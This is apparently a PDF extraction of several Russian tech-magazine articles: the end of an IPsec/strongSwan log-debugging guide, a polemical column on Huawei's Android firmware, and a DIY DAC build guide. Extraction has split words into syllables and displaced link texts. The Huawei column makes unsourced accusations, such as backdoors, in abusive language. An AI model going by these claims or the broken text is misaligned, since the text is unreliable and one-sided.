rtr‐west charon[14183]: 08[IKE] no acceptable proposal found

По рядок  сле дова ния  опций:  шифр,  хеш,  PFS.  Здесь  мы  видим,  что  шифр
(AES‐128)  и  хеш  (SHA‐1)  сов пада ют,  вся  раз ница  в  опции MODP_2048:  она
есть  в  received  proposals,  но  отсутс тву ет  в  configured.  Все  опции  с  пре фик‐ 
сами    и    —  это  наз вания    для  про токо ла  DH.  Соот ветс твие
номеров  групп  и  обоз начений  MODP/ECP  мож но  най ти  в 

.

MODP ECP групп
до кумен тации

к strongSwan
Не сов мести мость шиф ра и хеша встре чает ся реже, пос коль ку во всех сис‐ 

темах их надо ука зывать явно — забыть их ука зать невоз можно. Но теперь ты
уже зна ешь, куда смот реть. Фор мат опции шиф ра:  .
В нашем при мере выше ука зан AES в режиме   с дли ной клю ча 128 бит.

$name_$mode_$keyLength
CBC

Туннель «жив», а трафик не идет
Бы вает  и  такое,  и  не  так  ред ко —  осо бен но  с  IKEv1.  По  дан ным  из  вывода

  вро де  все  в  нор ме,  но  тра фик  ухо дит  и  не  воз вра‐ 
щает ся. Дело в том, что в IKEv1 нет обя затель ного механиз ма двус торон него
обме на пакета ми keepalive. Таким обра зом, в про межут ках меж ду исте чени ем
вре мени  жиз ни  клю ча  про цесс  IKE  никак  не  кон тро лиру ет  про исхо дящее
и  реали зация  AH/ESP  (то  есть  ядро  ОС  или  аппа рат ный  крип топро цес сор)
пре дос тавле ны сами себе. Пакеты будут шиф ровать ся и отправ лять ся, даже
если на дру гой сто роне ник то не готов их при нять.

sudo ipsec statusall

Для  борь бы  с  этим  пред назна чены  опции  DPD  (Dead  Peer  Detection).
Одна ко  зна чения  тайм‐аутов  не  вхо дят  в  proposal  и  не  сог ласу ются  меж ду
сто рона ми,  так  что  даже  при  вклю чен ном DPD  одна  сто рона может  счи тать
тун нель  живым  куда  доль ше  дру гой —  в  пре деле  до  исте чения  IKE  timeout,
который может сос тавлять мно го часов.

Ес ли у тебя воз никла такая проб лема, не забывай уточ нить у адми на вто‐ 
рой сто роны зна чения всех  тай меров DPD. Но еще луч ше сра зу  уго вари вай
всех на IKEv2, где такие проб лемы менее веро ятны.

ЗАКЛЮЧЕНИЕ
Со  сто роны  чте ние  логов  IPsec  может  показать ся  осо бым  искусс твом.
Но если вни матель но изу чить детали работы про токо ла  IKE, сооб щения ста‐ 
новят ся куда понят нее, а отладка — быс трее.
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Для  Huawei  2019  год  стал  едва  ли  не  худ‐ 
шим годом за всю исто рию ком пании. Сво‐ 
ими  недаль новид ными  ука зами  пре зидент
США Дональд Трамп сде лал так, что китай‐ 
ский  про изво дитель  теперь  не  может
исполь зовать в смар тфо нах не толь ко при‐ 
ложе ния и  сер висы  ком пании Google,  но и
собс твен ные  про цес соры.  И  я  не  стал  бы
заикать ся  об  этом  не  очень  инте рес ном
событии,  если  бы  не  огромное  количес тво
пок лонни ков Huawei,  вне зап но про явив ших
пре дан ность ком пании.

Воп реки  всем  ожи дани ям  люди  про дол жили  покупать  смар тфо ны  любимой
мар ки  и  не  побежа ли  менять  их  пос ле  двух  дней  мучитель ного  исполь‐ 
зования. Они ока зались готовы замора чивать ся с уста нов кой сто рон них при‐ 
ложе ний из непонят ных источни ков, про сижи вать ночи за чте нием ману алов
по нелегаль ной уста нов ке Play Store и искать ана логи извес тных при ложе ний
в Huawei AppGallery. Любовь людей ока залась столь велика, что в этом году
ком пания не толь ко не потеря ла на про дажах телефо нов, но и укре пила свои
позиции, став   (да, Apple и Samsung оста‐ 
лись позади).

са мым популяр ным брен дом в мире

Ко неч но  же,  клю чевую  роль  в  этой  популяр ности  сыг рали  покупа тели
из Китая,  которые не име ли дос тупа  к  сер висам Google,  а  пос ле появ ления
зап ретов  пош ли  покупать  хуавеи  из  прин ципа.  Помог ла  и  агрессив ная  рек‐ 
ламная  кам пания,  зах ватив шая  все  меди апрос транс тво,  вплоть  до  Пер вого
канала и инстаг рамов гла мур ных див. Но погово рить я бы хотел не о феноме‐ 
не Huawei и всей китай щины в целом, а о  том, что же все‐таки получа ет  тот
самый  фанат  ком пании  Huawei,  готовый  мирить ся  с  отсутс тви ем  необ‐ 
ходимых при ложе ний.

Но сна чала нем ного сло воб лудия.

БИЗНЕС ПО-КИТАЙСКИ
В пос ледние нес коль ко лет я плот но занима юсь раз работ кой мобиль ных при‐ 
ложе ний для Android и поэто му всег да имею в сво ем арсе нале пяток‐дру гой
телефо нов  раз ных  про изво дите лей: Huawei,  Xiaomi,  Samsung, OnePlus  и  так
далее. Сре ди них есть телефон с про шив кой AOSP (чис тый Android), которая
поз воля ет  про тес тировать  при ложе ния  в,  так  ска зать,  эта лон ной  сре де.
В качес тве бонуса я всег да могу пос мотреть, как про шив ки работа ют в срав‐ 
нении с «нас тоящим Android», таким, каким его задума ла Google.

И  здесь  начина ется  самое  инте рес ное.  Android  —  это  ОС  с  откры тым
исходным кодом, поэто му у каж дого про изво дите ля есть воз можность изме‐ 
нить  любой  из  его  ком понен тов  в  любую  сто рону. И  боль шинс тво  про изво‐ 
дите лей охот но этим поль зуют ся, тюнин гуя внеш ний вид (то, что поль зовате ли
некор рек тно называ ют сло вом «обо лоч ка») и поведе ние опе раци онной сис‐ 
темы. И если пер вое обыч но ничем пло хим не закан чива ется, раз ве что при‐ 
ходит ся при выкать к новому UI,  то вто рое может при вес ти к  катас тро фичес‐ 
ким пос ледс тви ям.

Поль зовате ли  Huawei  наб люда ют  эти  пос ледс твия  ежед невно.  Осо бая
гор дость и неп ремен ный аргу мент любого пок лонни ка Huawei в том, нас коль‐ 
ко  дол го  их  телефон  живет  от  одно го  заряда  батареи.  Смар тфон  дей стви‐ 
тель но  может  ста вить  рекор ды,  и  с  точ ки  зре ния  рядово го  поль зовате ля
это  сущес твен ный  плюс.  А  вот  с  точ ки  зре ния  раз работ чика  при ложе ний
и юзе ра, которо му нуж но неч то боль ше, чем вкон тактик, — ужас ная голов ная
боль.

Срав нитель ный тест вре мени жиз ни от батареи. Источник:
www.anandtech.com

Де ло в том, что в шта те Huawei нет магов, а если решать проб лему слиш ком
неп родол житель ной  жиз ни  смар тфо на  от  батареи  без  магии,  то  оста ется
один вари ант — зап ретить все, что свя зано с фоновой активностью. Китай цы
любят  этот  под ход.  Он  прост  в  реали зации  и  эффекти вен:  ты  зап реща ешь
при ложе ниям  переза пус кать ся,  будить  друг  дру га,  отправ лять  друг  дру гу
сооб щения,  про сыпать ся,  пока  экран  телефо на  вык лючен,  —  и  проб лема
решена. А вмес те с ней решена проб лема нор маль ной жиз ни поль зовате ля:
будиль ники  и  напоми нания  перес тают  сра баты вать,  уве дом ления  при ходят
с боль шой задер жкой, часть фун кций при ложе ний прос то отва лива ется.

Да,  твой WhatsApp про дол жит нор маль но работать. Но не потому, что он
так хорош, а потому, что в про шив ках поч ти всех китай ских смар тфо нов есть
белый спи сок при ложе ний, на которые огра ниче ния либо не рас простра няют‐ 
ся  вов се,  либо  рас простра няют ся  час тично.  И  проб лема  здесь  в  том,  что
в  него  вклю чают  исклю читель но  популяр ный  софт.  Если  ты  решишь  уста‐ 
новить  какой‐нибудь  Delta  Chat  —  он  не  будет  работать  кор рек тно.
И жаловать ся ты пой дешь к раз работ чикам Delta Chat, а не к Huawei.

INFO

В  свое  вре мя  поль зовате ли  Huawei  нас толь ко
надо ели  жалоба ми  раз работ чикам  VLC,  что  тем
не оста лось ино го выбора, кро ме как заб локиро‐ 
вать уста нов ку при ложе ния на полови ну моделей
смар тфо нов этой ком пании.

КИТАЙСКИЙ КОД
Ко неч но же, в глу бине нас тро ек в про шив ках Huawei есть опции, что бы отклю‐ 
чить механиз мы, подав ляющие фоновую активность при ложе ний. Вот толь ко
отклю чают они далеко не  все.  Тебе не  сос тавит осо бого  тру да  сде лать  так,
что бы сис тема не замора жива ла работу при ложе ний пос ле отклю чения экра‐ 
на, но ты не смо жешь оту чить ее оста нав ливать сра баты вание Alarm’ов, отби‐ 
рать у при ложе ния WakeLock’и и бло киро вать переда чу интентов меж ду при‐ 
ложе ниями.

Ес ли тебе эти сло ва ничего не говорят, я прос то ска жу, что все это может
сло мать такие при ложе ния, как будиль ники, тай меры, при ложе ния с под дер‐ 
жкой  пла гинов,  при ложе ния,  которые  пери оди чес ки  обновля ют  какую‐то
информа цию и выпол няют дру гие дей ствия через опре делен ные про межут ки
вре мени. И все это рас простра няет ся на любой софт не из белого спис ка.

Да, условные Xiaomi и Samsung тоже встра ивают в свои про шив ки сис темы
подав ления  фоновой  активнос ти.  Вот  толь ко  в  Xiaomi  всю  эту  тре буху  таки
мож но отклю чить пол ностью, а в сам сунгах она реали зова на как часть стан‐ 
дар тно го  механиз ма  энер госбе реже ния  Android  и  работа ет  нас толь ко  акку‐ 
рат но, что ее дей ствие даже не замеча ешь. И да, я не фанат Samsung, я раз‐ 
работ чик, который регуляр но запус кает тес ты про изво дитель нос ти на раз ных
смар тфо нах.

При веду еще один инте рес ный при мер. Как ты дума ешь, что сде лает про‐ 
шив ка  Huawei,  если  при ложе ние  захочет  быс тро  завер шить  само  себя?
В  докумен тации  Android  на  этот  счет  есть  впол не  чет кое  объ ясне ние:  при‐ 
ложе ние  завер шит  работу  (сюр приз!).  Но  прог раммис ты  из  Huawei  пле вать
хотели  на  офи циаль ную  докумен тацию.  Они  покажут  поль зовате лю  окно
с сооб щени ем о том, что при ложе ние чуть не сло мало телефон (!), и пореко‐ 
мен дуют его уда лить. Уда лить, Карл! И я бы даже ничего не ска зал, если бы
это  было  резуль татом  оче ред ной  «опти миза ции».  Но  такое  поведе ние  явно
говорит о дру гом — что раз работ чики Huawei не понима ют кон цепцию 

.
ко дов

воз вра та

О да, бед ный телефон едва не умер от дей ствий злоб ного при ложе ния

И  если  уж  мы  загово рили  о  проф непри год ности,  вот  еще  один  при мер.
В Huawei есть нес коль ко встро енных вид жетов рабоче го сто ла. Они кра сивые
и  замеча тель ные,  но  обла дают  одной  очень  инте рес ной  осо бен ностью  —
некото рые  из  них  кра шат  сто рон ние  лаун черы.  Ты  добав ляешь  вид жет
на рабочий стол, и рабочий стол завер шает свою работу с ошиб кой. Фанаты
Huawei искрен не полага ют, что проб лема в лаун черах, и, конеч но же, отправ‐ 
ляют жалобы их авто рам.

Нас тоящая  проб лема,  разуме ется,  в  дру гом.  Встро енные  в  Huawei  вид‐ 
жеты  тре буют,  что бы  раз решение  на  дос туп  к  нуж ным  им  фун кци ям  имел
лаун чер,  а  не  при ложе ние,  которо му  при над лежит  вид жет.  Еще  раз:  вид жет
тре бует  от  лаун чера  наличие  нуж ного  вид жету  раз решения.  С  точ ки  зре ния
архи тек туры ПО такой бред мог зап рограм мировать толь ко вус мерть пьяный
бомж, которо му на голову упал Кир пич Тупос ти. И это при усло вии, что бомж
родил ся тупым.

Кста ти,  о  лаун черах.  Как  ты  дума ешь,  что  это  за  безум ная  цепоч ка  слов:
«Нас трой ки →  При ложе ния →  Нас трой ки →  При ложе ния  по  умол чанию →
Нас трой ки → Дис петчер»? Это инс трук ция, как открыть окно выбора лаун чера
по умол чанию в смар тфо нах Huawei. Нет, не дис петче ра памяти, дис петче ра
задач  или  дис петче ра  тран спор та,  а  !  Шесть  абсо лют но
неоче вид ных сло ев нас тро ек надо прой ти, что бы выб рать лаун чер. А ког да ты
это сде лаешь, сис тема сбро сит нас трой ку при любом удоб ном слу чае, нап‐ 
ример пос ле показа того самого сооб щения с рекомен даци ей уда лить при‐ 
ложе ние.

ра боче го  сто ла

Во обще,  нелюбовь  к  сто рон ним  лаун черам  свой ствен на  всем  китай ским
про изво дите лям.  Ведь  сов мести мость  сво их  напол ненных  кос тылями  про‐ 
шивок  при ходит ся  обес печивать  не  толь ко  с  собс твен ным  лаун чером,  но  и
со  все ми  осталь ными  рабочи ми  сто лами.  Нап ример,  кри вая  сис тема  кло‐ 
ниро вания  при ложе ний  и  еще  более  кри вая  сис тема  темин га  в  Xiaomi  при‐ 
водят к тому, что сто рон ние лаун черы не могут адек ватно показы вать икон ки
при ложе ний и запус кать кло ны (и да, в прес ловутом сам сунге и с кло нами, и с
темами все хорошо).

Воз вра щаясь к Huawei, добав лю так же про агрессив ную сис тему управле‐ 
ния  памятью,  которая  неред ко  при водит  к  визу аль ным  глит чам  в  сто рон них
при ложе ниях. Вмес те с упо мяну той сис темой подав ления фоновой активнос‐ 
ти она прев раща ет исполь зование смар тфо на в доволь но‐таки мучитель ное
занятие.

Все  это  я  оце нил  на  собс твен ной шку ре  и  со  всей  серь езностью  утвер‐ 
ждаю: толь ко человек, не поль зующий ся сто рон ним соф том или не видев ший
в сво ей жиз ни ничего, кро ме китай ских смар тфо нов, может наз вать исполь‐ 
зование  смар тфо на  Huawei  хорошим  экспи риен сом.  А  самое  смеш ное,  что
Huawei  даже  не  оставля ет  ему  шан са  поп робовать  сто рон нюю  про шив ку,
намер тво  бло кируя  заг рузчик  и  не  пре дос тавляя  никаких  воз можнос тей  его
раз бло киро вать.  Ну  и  что бы  добить  бед ного  юзе ра,  Huawei  кла дет  болт
на обновле ние сво их млад ших моделей смар тфо нов, лома ет сов мести мость
с  ,  , 

,   и  .
Treble пач ками  про пус кает  пат чи  безопас ности встра ивает  в  смар тфо ны

бэк доры ре гуляр но врет в рек ламных роликах пресс‐релизах
Прос то пред ставь:  ты покупа ешь ноут бук с  какой‐то непонят ной вер сией

Windows  с  собс твен ной  неот клю чаемой  темой  интерфей са.  При ложе ния
в  ней  работа ют  не  так,  как  в  ори гиналь ной Windows,  пат чи  для  нее  выходят
нерегу ляр но, а обновле ния порой неиз вес тно, вый дут ли вооб ще. И вот ког да
ты, наг лотав шись все го это го дерь ма, реша ешь снес ти эту непонят ную вин ду
и  пос тавить  на  ее  мес то  нор маль ную  чес тно  куп ленную Windows,  про изво‐ 
дитель сооб щает тебе, что это невоз можно.

Сюр, бред, сумас шес твие? Но имен но это получа ют поль зовате ли Huawei.
И хотят еще.

ВЫВОДЫ
Для чего я все это пишу? Для того, что бы поль зовате ли этих чудо‐телефо нов
все‐таки  не  силь но  оби жались  на  ведуще го  нечес тную игру  Трам па. Huawei
начала вес ти нечес тную игру задол го до него и успе ла испортить жизнь очень
мно гим  раз работ чикам.  Тем  самым  раз работ чикам,  которые  хотели  выпус‐ 
кать  хороший  про дукт,  а  не  сидеть  бес сонны ми  ночами  перед  монито ром,
пыта ясь понять, почему их при ложе ние прек расно работа ет на всех телефо‐ 
нах, кро ме Huawei.
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Эта  статья  поможет  тебе  соб рать  свой  пер вый — а может,
уже  не  пер вый?  —  циф роана лого вый  пре обра зова тель.
В тво ем рас поряже нии будет нес коль ко кон цептов, как клас‐ 
сичес ких, так и весь ма радикаль ных. Выбирай сам, что тебе
по душе. Будет пара вари антов даже для тех, кто не дру жит
с паяль ником!

Од нознач но  пра виль ного  спо соба  сбор ки  циф роана лого вых  пре обра зова‐ 
телей не сущес тву ет, потому что нет общей парадиг мы. Есть толь ко наборы:
под ходов,  методов,  школ  и  филосо фий —  и  все  это,  по  сути,  наборы  сте‐ 
реоти пов.

Я рас ска жу о сво ем лич ном опы те, но опи шу лишь основные момен ты. Я
не  буду  касать ся  реали зации  питания,  уси лите лей,  акус тики  и  так  далее —
это уже дело вку са.

Ес ли  захочешь  пов торить  экспе римен ты,  обра ти  вни мание  на  пре дуп‐ 
режде ние.

WARNING

Ав тор и редак ция не дают никаких гаран тий и не
несут ответс твен ности за любой вред, при чинен‐ 
ный  во  вре мя  попыток  пов торить  опи сан ное
в  статье.  Все,  что  ты  дела ешь,  ты  дела ешь
на  свой  страх  и  риск!  Хотя  все  схе мы  про веря‐ 
лись  на  прак тике,  они  намерен но  упро щены
и  пред став ляют  собой  при мер  для  объ ясне ния
прин ципа работы, а не закон ченное изде лие.

PCM DAC (ИКМ ЦАП)
Обыч но зву ковой тракт мож но раз делить на три час ти:

ис точник;•
I2S‐пре обра зова тель (кон вертер);•
I2S‐ЦАП.•

Источник
В  качес тве  источни ка  может  выс тупать  компь ютер,  план шет,  телефон
или мик рокомпь ютер вро де Raspberry Pi. В отдель ных слу чаях источник и кон‐ 
вертер  могут  быть  выпол нены  в  одном  устрой стве  —  это  про игры вате ли
с выходом I2S или мик рокомпь юте ры.

I2S-преобразователь (конвертер)
Пре обра зова тели  I2S  могут  под клю чать ся  к  источни ку  с  помощью  раз ных
интерфей сов: USB, S/PDIF,  LAN. Есть еще вари ации с Bluetooth,  но нас они
не инте ресу ют,  потому  что  высоко го  качес тва  в  такой сис теме не добить ся.
Ско рость  переда чи  дан ных  Bluetooth  очень  мала,  о  Hi‐Res  (192  ×  24,  DSD)
мож но забыть сра зу. Но даже при прос лушива нии MP3 (44,1 × 16), циф ровой
поток  про ходит  через  нес коль ко  циф ровых филь тров,  к  тому же  с  обрезкой
час тоты зву ково го сиг нала.

Кста ти говоря, то же отно сит ся и к блю тус ным науш никам. Дело ухуд шает‐ 
ся тем, что в науш никах из‐за малого раз мера слож но раз местить пол ноцен‐ 
ный  ЦАП  и  питание  к  нему,  поэто му,  как  пра вило,  исполь зуют  «уре зан ные»
вер сии.

WWW

Под робно  о  переда че  зву ка  по  Bluetooth  ты
можешь  про читать  в  статье  «

».

Аудио  через  Blue‐
tooth:  мак сималь но  под робно  о  про филях,
кодеках и устрой ствах

USB
Са мый  рас простра нен ный  вари ант  пре обра зова телей  I2S  — 

.
кон верте ры

USB — I2S

Все  прос то:  под клю чаем  к  пор ту  USB  источни ка,  уста нав лива ем  драй вер
и  при  про игры вании  на  выходе  I2S  получа ем  поток  дан ных  PCM  или  DSD.
В  опе раци онной  сис теме  кон вертер  опре деля ется  как  зву ковое  устрой ство
или зву ковая кар та. Пред ложений кон верте ров USB — I2S огромное количес‐ 
тво, те же AliExpress или eBay выдадут вам десят ки вари антов по зап росу usb
to i2s.

S/PDIF
Мно жес тво  ком мерчес ких  —  проп риетар ных  —  ЦАП  под клю чают ся  через
разъ ем  .S/PDIF

Не  так  дав но  S/PDIF  был  популяр ным  интерфей сом  и  встре чал ся  поч ти
в каж дой зву ковой кар те, даже в самых дешевых, встро енных в материн ские
пла ты  ПК.  Но  не  все  зна ют,  что  поч ти  всег да  S/PDIF —  это  про межу точ ное
зве но и исполь зует ся чаще в роли тран спор та. Либо у источни ка, либо у ЦАП
в боль шинс тве слу чаев S/PDIF под клю чен через  I2S. Дру гими сло вами, сиг‐ 
нал  переда ется  не  нап рямую,  а  вна чале  кон верти рует ся  из  I2S  в  S/PDIF,
а потом обратно.

Не берусь называть кон крет ные циф ры, но счи тает ся, что потери при кон‐ 
верта ции  и  переда че  име ются.  Кро ме  того,  у  S/PDIF  есть  и  дру гие  недос‐ 
татки  —  ско рость  переда чи  и  сто имость.  Самые  дешевые  DIY‐устрой ства
USB to S/PDIF сто ят око ло 4000 руб лей, а переда вать по ним воз можно мак‐ 
симум PCM 192 × 24 или DSD64 через DOP.

Та ким обра зом, исполь зовать S/PDIF нецеле сооб разно, если есть дру гие
вари анты.

LAN
Те перь  рас смот рим  под клю чение  I2S‐кон верте ра  по    (локаль ной  сети).
Для это го исполь зуют ся спе циаль ные прог рам мные пле еры: Squeezelite, HQ‐
Player, Roon и дру гие. Они уста нав лива ются на основной компь ютер, который
выс тупа ет в роли передат чика (источни ка). При вос про изве дении выпол няет‐ 
ся  рас паков ка,  декоди рова ние  и,  если  тре бует ся,  обра бот ка  циф рового
потока. Далее циф ровой ауди опо ток через опре делен ный сетевой про токол
переда ется на при емник — чаще все го мик рокомпь ютер. Далее мик рокомпь‐ 
ютер  либо  сам  кон верти рует  получен ный  поток  в  I2S,  либо  переда ет  поток
на  кон вертер,  под клю чен ный  к  нему  по  USB.  Сущес тву ют  и  самодель ные
решения,  осно ван ные,  нап ример,  на  мик рокомпь юте рах  BeagleBone  black
или Raspberry Pi, и серий ные решения раз личных про изво дите лей.

LAN

Час то  встре чают ся  устрой ства,  которые  объ еди няют  в  себе  одновре мен но
источник и кон вертер, кон вертер и ЦАП или сра зу все в одном устрой стве.

I2S-ЦАП
Циф роана лого вых пре обра зова телей с вхо дом I2S огромное количес тво. Мы
не будем рас смат ривать  пол ностью  соб ранные  серий ные ЦАП;  нас  боль ше
инте ресу ют  самодел ки.  Самый  прос той  и  дешевый  спо соб  пос лушать  тот
или иной ЦАП — купить готовую самодель ную пла ту с ЦАП. Мож но поис кать
ЦАП без питания и пре дуси ления, если захочешь допилить самос тоятель но.
Для пер вого раза мож но взять что‐нибудь прос тень кое и дешевое, как пла та
на чипе PCM5102A на фото.

Са модель ная пла та на чипе PCM5102A ком пании Texas Instruments

В  качес тве  кон верте ра  в  моем  слу чае  будет  Amanero  ком пании  Amanero
Technologies.

Все  необ ходимое  для  PCM5102A  мож но  подать  пря мо  с  кон верте ра:
питание — VIN соеди нить с кон тактом 3,3 В, зем лю GNG c зем лей кон верте ра
GND, LCK c кон тактом FSCLK кон верте ра, DIN c DATA, BCK c BCLK. А вот SCK
и MCLK  в  PCM5102A  соеди нять  не  обя затель но,  он  смо жет  работать  и  без
допол нитель ной син хро низа ции. Но для повыше ния точ ности, если есть такая
воз можность,  MCLK  луч ше  все  же  под клю чать.  Ана логич ным  обра зом  этот
ЦАП мож но под соеди нить и к Raspberry Pi.

Как видишь, все прос то и спе циаль ных зна ний не тре бует ся! Подоб ным обра‐ 
зом  к  I2S  мож но  под клю чить  и  дру гие  циф роана лого вые  пре обра зова тели.
Для  вос про изве дения  через  USB  подой дут  прак тичес ки  любые  пле еры.
На Raspberry Pi нович кам мож но посове товать Volumio, а более прод винутым
слу шате лям сбор ку с  .Album Player

Для  начина ющих  этой  информа ции  хва тит,  осо бен но  для  пер вого  раза.
Для  тех  же,  кто  не  боит ся  труд ностей,  про дол жу  повес тво вание,  уро вень
слож ности будет воз растать.

DSD-ЦАП
Изу чим на прак тике спо собы переда чи и вос про изве дения DSD.

Обыч но  поток  дан ных  DSD  в  самодель ных  устрой ствах  переда ется
от  источни ка  к  циф роана лого вому  пре обра зова телю  через  I2S‐кон вертер.
Далеко не все кон верте ры под держи вают DSD, поэто му перед покуп кой обя‐ 
затель но  нуж но  удос товерить ся,  что  в  спе цифи каци ях  ука зана  под дер жка
DSD. Самые дешевые кон верте ры USB to I2S с под дер жкой DSD — это пре‐ 
обра зова тели Amanero или их копии, а так же кон верте ры с при мене нием про‐ 
цес соров XMOS.

Нуж но  учесть,  что  не  все  пле еры  под держи вают  вос про изве дение  DSD
и не все драй веры в сос тоянии передать чис тый DSD (DSD native), даже если
пле ер на это спо собен. Огра ниче ние драй вера мож но пре одо леть, исполь зуя
DOP (DSD over PCM), соот ветс твен но, пле ер тоже дол жен иметь воз можность
пре обра зова ния DSD в DOP.

В слу чае Amanero и XMOS поток DSD переда ется к ЦАП по тем же выходам
I2S:  DATA  переда ет  дан ные  пра вого  канала,  LRCK  —  дан ные  левого,
а BCLK — битовую син хро низа цию этих дан ных.

Вос про извести  поток  DSD  мож но  раз ными  спо соба ми,  сто ит  выделить
три:

проп риетар ные ЦАП;•
че рез ФНЧ;•
са модель ные ЦАП.•

Проприетарный ЦАП
Боль шинс тво  ком мерчес ких  ЦАП,  которые  под держи вают  вос про изве дение
DSD, при нима ют и PCM, и DSD через один и тот же разъ ем I2S. В этом слу чае
дос таточ но  под клю чить  кон такты  кон верте ра  и  ЦАП  спо собом,  опи сан ным
выше,  и  перек лючение  меж ду  PCM  и  DSD  будет  работать  авто мати чес ки.
Быва ют отдель ные вхо ды для DSD, но это реали зова но для раз дель ного под‐ 
клю чения устрой ств, исполь зовать их в боль шинс тве слу чаев не обя затель но.

Воспроизведение через ФНЧ
Этот спо соб под купа ет сво ей прос тотой и, кста ти, неп лохим зву чани ем. Суть
его, как понят но из наз вания, зак люча ется в вос про изве дении DSD нап рямую
через филь тр ниж них час тот, без исполь зования какого‐либо циф роана лого‐ 
вого  пре обра зова теля.  Ког да  я  узнал  об  этом  спо собе  впер вые,  отнесся
скеп тичес ки,  но  ока залось,  что  зву чит  такой  вари ант  луч ше,  чем  все  ЦАП,
которые я слу шал до это го. Не хочу никого убеж дать, но сам я теперь вряд ли
вер нусь к проп риетар ным циф роана лого вым пре обра зова телям.

Единс твен ная проб лема: кон тента, дос тупно го в DSD, зна читель но мень‐ 
ше, чем в Audio CD. Но тут нас спа сет кон верта ция PCM в DSD — она может
выпол нять ся как заранее, перед прос лушива нием, так и в реаль ном вре мени.
Делать это мож но на ПК или мобиль ных девай сах с iOS и Android, а в качес тве
передат чика будет выс тупать I2S‐кон вертер.

Принцип работы
В фор мате DSD исполь зует ся плот нос тно‐импуль сная модуля ция, на выходе
I2S  рядом  сто ящие  положи тель ные  импуль сы  (логичес кие  еди ницы)  скла‐ 
дыва ются в один про дол житель ный по вре мени импульс, и нап ряжение рас‐ 
тет. Отсутс твие положи тель ных импуль сов при водит к падению нап ряжения.

По ток  логичес ких  еди ниц  и  нулей  пос ледова тель ный,  так  что,  если  под клю‐ 
чить выход одно го из каналов DSD к филь тру ниж них час тот и убрать пос тоян‐ 
ную сос тавля ющую, мож но получить модули рован ный сиг нал, который, в свою
оче редь, мож но подать на вход уси лите ля. Подоб ным обра зом пре обра зовы‐ 
вали  циф ровой  поток  в  ана лого вый  сиг нал  одно бит ные  сиг ма‐дель та‐циф‐ 
роана лого вые пре обра зова тели.

Выбор фильтра
В качес тве филь тра ниж них час тот может выс тупать прос тая RС‐ или RL‐цепь,
а для уда ления пос тоян ной сос тавля ющей сиг нала дос таточ но обыч ного кон‐ 
денса тора.

Рас счи тать такие филь тры прос то. RC (соп ротив ление, емкость) рас счи тыва‐ 
ется по фор муле f  = 1/2πRC, RL (соп ротив ление, индуктив ность) — по фор‐ 

муле f  = R/2πL, где f  — час тота сре за филь тра, ее луч ше выбирать в диапа‐ 

зоне  от  25  до  50  кГц.  Для  удобс тва  мож но  исполь зовать 
.

c
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он лай новый  каль‐ 
кулятор

Ем кость  кон денса тора  (на  схе ме  спра ва)  для  уда ления  пос тоян ной  сос‐ 
тавля ющей рас счи тыва ется как RC ФВЧ — филь тр вер хних час тот.

По фор муле f  = 1/2πRC, где в качес тве соп ротив ления выс тупа ет перемен‐ 

ный резис тор на вхо де уси лите ля (пре дуси лите ля). Соот ветс твен но,   будет
рав но номиналь ному соп ротив лению это го резис тора. Емкость кон денса тора
нуж но выб рать такую, что бы час тота сре за не пре выша ла 30 Гц. Мож но так же
вос поль зовать ся спе циаль ным  .

c

R

каль кулято ром
Важ ный  момент:  для  нор маль ного  вос про изве дения  необ ходим  филь тр

с  хорошей  кру тиз ной  сре за,  ина че  высоко час тотные  сос тавля ющие  сиг нала
могут  при вес ти  к  интермо дуля цион ным  иска жени ям  и  перег рузке  уси лите ля
(пре дуси лите ля).  Для  уве личе ния  кру тиз ны  сре за  исполь зуют  филь тры  нес‐ 
коль ких поряд ков.

Вы бор поряд ка филь тра и час тоты сре за будет во мно гом зависеть от уси‐ 
лите ля  (пре дуси лите ля).  Нап ример,  для  мно гих  тран зистор ных  уси лите лей
ФНЧ пер вого поряд ка будет  недос таточ но,  и  это при ведет  к шумам и иска‐ 
жени ям. А для лам повых уси лите лей ФНЧ пер вого поряд ка может быть впол‐ 
не дос таточ но.

В  выборе  филь тра  важ но,  как  уси литель  реаги рует  на  высокие  час тоты.
Опре делить это мож но, меняя порядок филь тра и час тоту сре за. Необ ходимо
будет искать ком про мисс меж ду «зву чани ем» и уров нем иска жений. При сре‐ 
зе  ФНЧ  ниже  20  кГц  силь но  ухуд шает ся  качес тво  зву чания,  при  слиш ком
высоком  сре зе  может  появить ся шум  или  эффекты  перег рузки.  На  каких‐то
уси лите лях дос таточ но будет филь тра пер вого поряд ка и час тоты сре за в 40–
50  кГц,  а  на  дру гих  при дет ся  исполь зовать  ФНЧ  вто рого‐треть его  поряд ка
и понижать час тоту сре за до 25 кГц. Чем ниже час тота сре за ФНЧ, тем боль‐ 
ше вли яния на сиг нал он ока зыва ет, потому что уро вень сиг нала пада ет пос‐ 
тепен но, зат рагивая и дру гие час тоты еще до выб ранной час тоты сре за. Под‐ 
робнее мож но про читать в  .ра боте по ФНЧ

DIY-ЦАП
На конец мы  доб рались  до  собс твен норуч ной  сбор ки  ЦАП  с  минималь ными
зат ратами.  Кон цепции  будут  рас положе ны  от  самого  прос того  вари анта
к более слож ному.

Предусиление
При прос лушива нии через ФНЧ может понадо бить ся уси лить низ кий уро вень
гром кости.  Если  уси литель  недос таточ но  мощ ный  или  ты  хочешь  слу шать
музыку через науш ники без под клю чения к уси лите лю, тебе понадо бит ся пре‐ 
дуси литель. Пос мотрим, какие быва ют вари анты.

Стационарный вариант
Для  ста ционар ного  вари анта  луч ше  все го  себя  зареко мен довали  повыша‐ 
ющие вход ные тран сфор маторы, нап ример такой, как на фото.

Они  уве личи вают  нап ряжение  сиг нала  при мер но  в  четыре  раза,  их  мож но
под клю чить  к  балан сно му  вхо ду‐выходу,  диапа зон  вос про изво димых  час‐ 
тот  20  Гц  —  20  кГц.  Сто имость  при мер но  2000  руб лей  за  пару;  это  одни
из самых дешевых тран сфор маторов, но свою задачу они выпол няют.

У спо соба уси ления с помощью тран сфор маторов, конеч но, есть и недос‐ 
татки.

Во‐пер вых,  цена:  эти  тран сфор маторы  дешевые,  но,  если  ты  захочешь
более качес твен ный вари ант, он может обой тись уже в десят ки раз дороже.

Во‐вто рых,  тран сфор маторы  уси лива ют  лишь  нап ряжение,  поэто му  сами
по себе их исполь зовать нель зя, толь ко в связ ке с уси лите лем.

Для  исполь зования  необ ходимо  убрать  пос тоян ную  сос тавля ющую,
для это го на вход тран сфор матора нуж но пос ледова тель но под клю чить кон‐ 
денса тор.  При чем  кон денса тор  дол жен  быть  боль шой  емкости,  пос коль ку
имен но кон денса тор и вход ное соп ротив ление тран сфор матора фор миру ют
филь тр высоких час тот.

